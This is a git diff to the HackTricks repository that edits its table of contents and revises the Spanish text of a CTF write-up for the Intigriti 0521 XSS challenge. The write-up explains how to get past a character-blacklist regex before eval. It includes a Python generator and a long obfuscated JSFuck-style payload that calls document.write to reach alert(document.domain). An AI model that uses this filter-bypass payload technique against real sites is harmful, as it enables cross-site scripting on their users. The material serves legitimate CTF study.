diff --git a/SUMMARY.md b/SUMMARY.md index eb44158da..eff16e759 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -5,8 +5,6 @@ * [HackTricks](README.md) * [HackTricks Values & faq](welcome/hacktricks-values-and-faq.md) * [About the author](welcome/about-the-author.md) -* [Getting Started in Hacking](welcome/getting-started-in-hacking.md) - ## 🤩 Generic Methodologies & Resources * [Pentesting Methodology](generic-methodologies-and-resources/pentesting-methodology.md) @@ -40,9 +38,7 @@ * [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md) * [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) * [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md) - * [EXT](forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md) * [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md) - * [NTFS](forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md) * [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md) * [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md) * [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md) @@ -60,7 +56,6 @@ * [Video and Audio file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md) * [ZIPs tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md) * [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md) - * [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md) * [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md) * [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md) * [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md) diff --git a/ctf-write-ups/challenge-0521.intigriti.io.md b/ctf-write-ups/challenge-0521.intigriti.io.md index 73587f03d..c9d355100 100644 --- a/ctf-write-ups/challenge-0521.intigriti.io.md +++ b/ctf-write-ups/challenge-0521.intigriti.io.md @@ -5,28 +5,28 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -### Breve descripción +### Descripción Breve El desafío proporciona un formulario vulnerable a XSS en la página [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\ Este formulario se carga en [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) a través de un iframe. -Se descubrió que el formulario **insertará la entrada del usuario dentro de la función `eval` de JavaScript**. Esto suele ser una mala idea ya que puede llevar a una **ejecución arbitraria de JavaScript**, y este es un buen ejemplo.\ +Se descubrió que el formulario **insertará la entrada del usuario dentro de la función JavaScript `eval`**. Esto suele ser una mala idea ya que puede llevar a una **ejecución arbitraria de JavaScript**, y este es un buen ejemplo.\ Sin embargo, antes de insertar la entrada del usuario dentro de la función `eval`, se comprueba con la expresión regular `/[a-df-z<>()!\\='"]/gi` por lo que si se encuentra alguno de esos caracteres, la entrada del usuario no se ejecutará dentro de `eval`.\ -De todos modos, se encontró una forma de pasar por alto la protección de la expresión regular y ejecutar `alert(document.domain)` abusando de la peligrosa función `eval`. +De todos modos, se encontró una forma de evadir la protección de la expresión regular y ejecutar `alert(document.domain)` abusando de la peligrosa función `eval`. ### Accediendo al HTML -Se descubrió que la letra `e` está permitida como entrada de usuario. También se descubrió que hay un elemento HTML que utiliza el `id="e"`. Por lo tanto, este elemento HTML es accesible desde Javascript simplemente usando la variable `e`:\ +Se descubrió que la letra `e` está permitida como entrada de usuario. También se encontró que hay un elemento HTML que utiliza el `id="e"`. Por lo tanto, este elemento HTML es accesible desde JavaScript simplemente usando la variable `e`:\ ![](https://i.imgur.com/Slq2Xal.png) -Además, es importante saber que en JS se pueden **acceder a los atributos de un objeto con un punto o con una cadena entre corchetes**. Por lo tanto, se puede acceder al atributo `domain` de un objeto `document` de cualquiera de las siguientes maneras: +Además, es importante saber que en JS puedes **acceder a los atributos de un objeto con un punto o con una cadena entre corchetes**. Por lo tanto, puedes acceder al atributo `domain` de un objeto `document` de cualquiera de las siguientes formas: ```javascript document.domain document["domain"] @@ -43,12 +43,12 @@ e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"] ### Llamando a una función sin paréntesis con código JS como cadena Desde el objeto `document` es posible llamar a la función `write` para **escribir texto HTML arbitrario que el navegador ejecutará**.\ -Sin embargo, como los caracteres `()` están **prohibidos**, no es posible llamar a la función usando ellos. De todas formas, es posible llamar a una función usando **backtips** (\`\`).\ -Además, es posible poner como cadena código javascript que será ejecutado usando `${...}` como: +Sin embargo, como los caracteres `()` están **prohibidos**, no es posible llamar a la función usando estos. De todas formas, es posible llamar a una función usando **backtips** (\`\`).\ +Además, es posible poner como cadena de texto código javascript que será ejecutado usando `${...}` como: ```javascript `${"alert(document.location)"}` ``` -Por lo tanto, combinando el acceso al objeto `document` con esta técnica para ejecutar funciones sin paréntesis, es posible **ejecutar una alerta usando**: +Por lo tanto, combinando el acceso al objeto `document` con esta técnica para ejecutar funciones sin paréntesis es posible **ejecutar una alerta usando**: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` @@ -56,48 +56,48 @@ Puedes probar este código en una consola de JavaScript dentro de la página [ht ### Bypass final de caracteres prohibidos -Sin embargo, todavía queda un problema. La mayoría de los caracteres del exploit están **prohibidos** ya que aparecen en la expresión regular `/[a-df-z<>()!\\='"]/gi`. Pero observa cómo todos los **caracteres prohibidos son cadenas** dentro del exploit y los **caracteres no de cadena en el exploit (e\[]\`${}) están permitidos**.\ +Sin embargo, todavía queda un problema. La mayoría de los caracteres del exploit están **prohibidos** ya que aparecen en la expresión regular `/[a-df-z<>()!\\='"]/gi`. Pero nota cómo todos los **caracteres prohibidos son cadenas** dentro del exploit y los **caracteres no de cadena en el exploit (e\[]\`${}) están permitidos**.\ Esto significa que si es posible **generar los caracteres prohibidos como cadenas a partir de los caracteres permitidos**, es posible generar el exploit.\ Para hacer esto, he generado un alfabeto similar a [JSFuck](http://www.jsfuck.com) para generar los caracteres necesarios (_este alfabeto es personalizado para este desafío_).\ Puedes **ver el alfabeto completo dentro del código del exploit** (que se puede encontrar en la siguiente subsección y en el archivo _exploit.txt_). -Por ejemplo, para **generar la letra `a`** es posible acceder a **`[[]/e+e][0][1]`** ya que `[[]/e+e][0]` genera la cadena `"NaN[object HTMLProgressElement]"` o para generar la **letra `f`** es posible acceder al **quinto carácter de `[[][[]]+e][0]`** ya que esa expresión genera la cadena `"undefined[object HTMLProgressElement]"`.\ -Usando estos trucos y algunos más complejos, fue posible **generar todos los caracteres (letras y símbolos) de las cadenas contenidas** en el exploit: +Por ejemplo, para **generar la letra `a`** es posible acceder a **`[[]/e+e][0][1]`** ya que `[[]/e+e][0]` genera la cadena `"NaN[object HTMLProgressElement]"` o para generar la **letra `f`** es posible acceder al **5to carácter de `[[][[]]+e][0]`** ya que esa expresión genera la cadena `"undefined[object HTMLProgressElement]"`.\ +Utilizando estos trucos y algunos más complejos, fue posible **generar todos los caracteres (letras y símbolos) de las cadenas contenidas** en el exploit: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` -### Código de explotación +### Código de Explotación -Este es el código de explotación en Python utilizado para generar el exploit final. Si lo ejecutas, imprimirá el exploit: +Este es el exploit de Python utilizado para generar el exploit final. Si lo ejecutas, imprimirá el exploit: ```python #JS Specific Direct Alphabet x = { - "1": "1", - ".": ".", - "[": "[e+e][0][0]", - "]": "[e+e][0][27]", - "/": "[/e/+e][0][0]", - "a": "[[]/e+e][0][1]", - "b": "[e+e][0][2]", - "c": "[e+e][0][5]", - "d": "[[][[]]+e][0][2]", - "e": "[e+e][0][4]", - "f": "[[][[]]+e][0][4]", - "g": "[e+e][0][15]", - "H": "[e+e][0][8]", - "i": "[[][[]]+e][0][5]", - "j": "[e+e][0][3]", - "L": "[e+e][0][11]", - "l": "[e+e][0][21]", - "M": "[e+e][0][10]", - "n": "[[][[]]+e][0][1]", - "N": "[[]/e+e][0][0]", - "o": "[e+e][0][1]", - "r": "[e+e][0][13]", - "s": "[e+e][0][18]", - "t": "[e+e][0][6]", - "T": "[e+e][0][9]", - "u": "[[][[]]+e][0][0]", +"1": "1", +".": ".", +"[": "[e+e][0][0]", +"]": "[e+e][0][27]", +"/": "[/e/+e][0][0]", +"a": "[[]/e+e][0][1]", +"b": "[e+e][0][2]", +"c": "[e+e][0][5]", +"d": "[[][[]]+e][0][2]", +"e": "[e+e][0][4]", +"f": "[[][[]]+e][0][4]", +"g": "[e+e][0][15]", +"H": "[e+e][0][8]", +"i": "[[][[]]+e][0][5]", +"j": "[e+e][0][3]", +"L": "[e+e][0][11]", +"l": "[e+e][0][21]", +"M": "[e+e][0][10]", +"n": "[[][[]]+e][0][1]", +"N": "[[]/e+e][0][0]", +"o": "[e+e][0][1]", +"r": "[e+e][0][13]", +"s": "[e+e][0][18]", +"t": "[e+e][0][6]", +"T": "[e+e][0][9]", +"u": "[[][[]]+e][0][0]", } #JS Dependent Alphabet @@ -140,28 +140,29 @@ print(txt) #Write the exploit to stdout Para generar el exploit, simplemente ejecuta el código Python anterior. Si lo prefieres, también puedes copiar/pegarlo desde aquí: ``` -e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][42]+[[][[]]+e][0][2]+[e+e][0][1]+[e+e][0][5]+[[][[]]+e][0][0]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[e+e][0][0]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[[][[]]+e][0][2]+[e+e][0][1]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]